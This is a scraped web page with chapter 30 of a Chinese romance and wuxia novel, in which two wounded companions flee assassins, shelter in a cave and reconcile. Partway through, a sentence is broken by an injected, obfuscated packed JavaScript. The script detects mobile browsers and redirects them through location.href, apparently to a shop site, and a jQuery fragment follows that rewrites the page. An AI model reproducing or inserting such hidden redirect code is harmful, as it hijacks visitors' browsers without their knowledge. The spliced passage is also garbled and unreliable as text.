30. 第三十章
作品:《宿敌他总担心我死了》 疼——
浑身就像是被几匹马踩踏过一般,几乎要散架了。
赵席玉一路滚下来,眼前阵阵发黑,原地躺了好一会儿,才挣扎着坐起来。
他抬眼看去,完全看不到坡顶,在身上到处摸了摸,所幸没有断胳膊断腿。这坡地经过汛期滑坡,枯叶满地,坡体还算松软。
如此他能安全下来,那群杀手必然也可以。
赵席玉咬咬牙,忍着浑身的疼站起身,摇摇欲坠地沿着枯水石滩离开此地。李平安说的不错,他得寻一条回奉京的路,在进京城前,他还不能暴露自己去寻求救援,那官府里的是不是朝廷的人都难说。
他沿途寻来石头做记号,这种一个大圆石头两个小圆石头,像是老鼠头一样的记号,是他从前在十三楼唯一一次和李平安合作试炼的时候见她搭的,据说是归意长老教给她的一种独门记号。
他走一段就搭一个,每搭一个就会想起李平安。
他或者脱身了,但李平安怎么办。
赵席玉一路走一路回头望,心底泛起的一股又一股的恶寒几乎要将他吞噬。
李平安的武功在他们那一届十三楼的同窗里是出了名的好,但再如何,人总有个极限,她要如何应对那一群身强体壮的男人——或许他们还另有支援。
眼前尽是李平安浑身浴血的模样。无边的心慌像是点着的干柴,在他五脏六腑灼烧,赵席玉忍不住干呕起来。
她要是死在那些人手里,为掩人耳目,大概会被沉河。
她会尸骨无存,会不得安息,因为他。
勉强走出去一段路,他终于还是没有忍住,回头往来时的地方走去。
李平安在坡顶与那群人杀得昏天黑地,好不容易挡住所有的追兵,自己也已经精疲力尽。她最大的目的是阻止有人前去追赵席玉,打起来便不大能顾上防卫,身上受了好几处刀伤,虽避开了要害,但也架不住一直流血。
眼看着最后一个人拖着重伤逃走,她也再没有力气去追,只能瘫倒在地,任由自己和赵席玉一般滚下坡去。
从坡底醒过来,果真四周无人,她松了口气,想来赵席玉没什么事,已经安全离开了。
要杀他们的人知道他们没死,必定忽立即派更多的人来追,她得先给自己找一个可以歇口气的地方。若是和追兵碰上了,或许还能给那人多拖延一些时间。
谁料她沿着枯水滩只挪动了两步,突然从背后传来一道沙哑的声音,唤的是她的名字。
李平安回头,果真是赵席玉。
那人潦草凌乱地飞奔过来,在她惊恐的眼神中张开了手,像是想抱她!
但赵席玉最后还是收回了手,他们两个人现在都脆弱得像豆腐团子,稍微一碰,各自都得掉几两渣子下来。
“你怎么样?有没有伤到要害?有几处伤口?恶心吗?头晕吗?可生恶寒?”
李平安唯一的一点力气都用在支撑自己的身体上,只能瞪眼看着赵席玉一会儿搭她的脉,一会儿在她手臂上左捏右捏,甚至还蹲下身检查她腿骨有没有受伤。她本想出言阻止,但又想到大夫大抵都有些这样的习性,也便沉默着任由他去了。
但这人真是没完没了,她没了耐性,开口问道:“你怎么没走?你回来若是遇上追兵怎么办?”
“我怕你若真的死了,好歹得有人收尸。”
在地上蹲着的人这才抽空抬起头回答她的问题,四目相对,李平安才发现赵席玉的眼角还有泪花。
“你伤到哪儿了?很严重吗?怎么还疼哭了?”李平安本来是想说他一句这行为多么愚蠢,但听到这人还惦记着给自己收尸,便收住了不好听的话,顺嘴问候了这么一句。
“……没什么。”赵席玉闷声作答,抹了一把眼角,这才发现自己方才不止鼻头发酸,居然还掉眼泪了。
李平安看着人一气呵成地站起来,看来真的没什么事,便不再追问,环顾一圈道:“那我们尽快离开此地,大概很快就会有人追过来了。”
赵席玉点头应下,将自己破破烂烂的外袍解了披在李平安身上,感受到那人的抗拒,他严正道:“你失血太多,不保暖会没命。”
李平安不再坚持,二人又沿着河滩往前走,一路上留下些“蛛丝马迹”,待走的差不多了,便跨过碎石滩拐进了对面的林子。
沿着河滩一直走,一定会遇到人家,但如此必定会被追上,寻常的路定是不能走的。且他们这幅样子走在人群里太过显眼,只能先寻一处荒无人烟的地方躲一躲,再另找出路。
好在赵席玉先前仔细看过通乾渠的地图,大致晓得穿过林子再翻过小丘有一个村子,他们可以在那附近寻一个安身之处,也好找一些吃食和衣物药品。
二人一直走到天色擦黑才敢停下,一路上聚精会神听着身后的动静,好在一直未有人找过来。
这片林子不大,他们走了大半天已经基本走到了头,前方地势拔起,他们得上天眷顾,在这里寻到了一处巨石撑起的山洞。
李平安确实如赵席玉所判断,失血过多,虽然赵席玉一路上给她包扎了七七八八,但身子还没缓过来,仍旧森寒难捱,绵软无力。她索性依着赵席玉的“医嘱”,在石头上定定坐着,看着那人忙碌。
赵席玉像阵旋风似的进进出出,搬来了一捆干柴,又抱进来一堆稍软些的枯枝,垫在了她坐的石头上,最后竟拿进来两“碗”用木皮盛着的水。
李平安早就焦渴难耐,听赵席玉说自己喝过了,便接过来一碗,一口气全灌进了肚子,虽说冬日的冷水冰得肠胃直打哆嗦,但好在嗓子舒服了一些。
李平安早在他忙碌的时候已经生起了火,赵席玉变戏法似的从怀里掏出一把香蒲根,扔进火堆底下烤。
他自己坐到了李平安身侧,忙碌半天身上寒意散去,在火边烤得暖融融的,方才有了几分生气,说话都带着轻松:“好在靠近运河,水分足,还有些活着的东西。”
“等一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108963|195491||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会儿烧出草木灰来,便给你清理一下伤口。”赵席玉捣鼓着火堆,不断拨弄着底下的木头,嘴里念叨这木头真是不错。
李平安本来在思考这漫漫长夜,该如何度过,明日又要如何躲避追杀,但耳边不断响起赵席玉的念叨,明明才经历生死,这人倒是豁达,聒噪又轻快的声音无孔不入,将她从烦乱的愁绪中硬拽了出来。
她不由转头去看,正好看到赵席玉帮着纱布的手心。
“你的手……”她见赵席玉不动声色地将手握起来,直接拽住人的胳膊,逼着他摊开手心。
她解开层叠的纱布,里面的灼伤泛红,刚长好的嫩肉被磨破,又是一片红肿糜烂。
李平安皱了皱眉,赵席玉在船上拿刀也好,方才给她查伤抱柴也罢,动作流利,她还当那伤好的差不多了。
“一会儿先给你处理。”李平安没有商量地说。
赵席玉缩回手:“我没事,小伤而已。先给你处理,草木灰多的是,我过后自己敷一敷就是了。”
“这伤眼瞧着就要感染了,你连这都看不出来?你的手还要不要了!”
“你有空关心我的手,多看看你自己的伤吧!打起架来不要命!”赵席玉语气也急了起来,方才剧烈的担忧,看到李平安伤势位置后判断出她不知自卫的气愤,以及满心的愧疚,都喷发了出来。
话音刚落,他便觉得自己言重了,李平安豁出性命救他,他实在太不知好歹了。
赵席玉长长吐出口气,低声道:“抱歉。我……我不想和你吵架。”
李平安没有生气,只是轻声说了句没事,也没有再坚持,转回身子沉默了下去。
盯着眼前的火光看了一会儿,赵席玉又道:“我想说的是,若是有下次,你大可不必豁出性命来救我,你不是还有自己的事要做吗?你得活着才行,为我送了性命多冤呢。”
李平安看了他一眼,那人清俊的面容十分平静。
她没有接这个话,而是问道:“你怎么从来不问我要做什么事?万一我是受了什么人指派,想对你不利呢?”
赵席玉浅浅一笑:“我可没信心能从你嘴里问出些什么。我的命本就是你救的,若有一日真的死在你手里,倒也合适。”还不如就这样好生待在一处,看着你活着,我自己好像也有了活头。
他将后半句话咽了回去,半开玩笑道:“你也太小瞧我了,你都在我眼皮子底下了,我难不成还防不住你?你怎么知道我没放百八十双眼睛盯着你?”
李平安被他的玩笑带着勾起了嘴角,旋即想到自己的打算,侧过身看着赵席玉,认真道:“我要和你道歉。”
“啊?”
赵席玉一脸茫然地看着她,甚至开始狐疑地打量起这人是不是失血过多意识不清了。
这神情实在气人,李平安微微翻了个白眼,才接着道:“我之前对你说过不少恶言,我为此向你道歉,你我虽所求有悖,但我揣测你的为人,确实有一些过激了。”

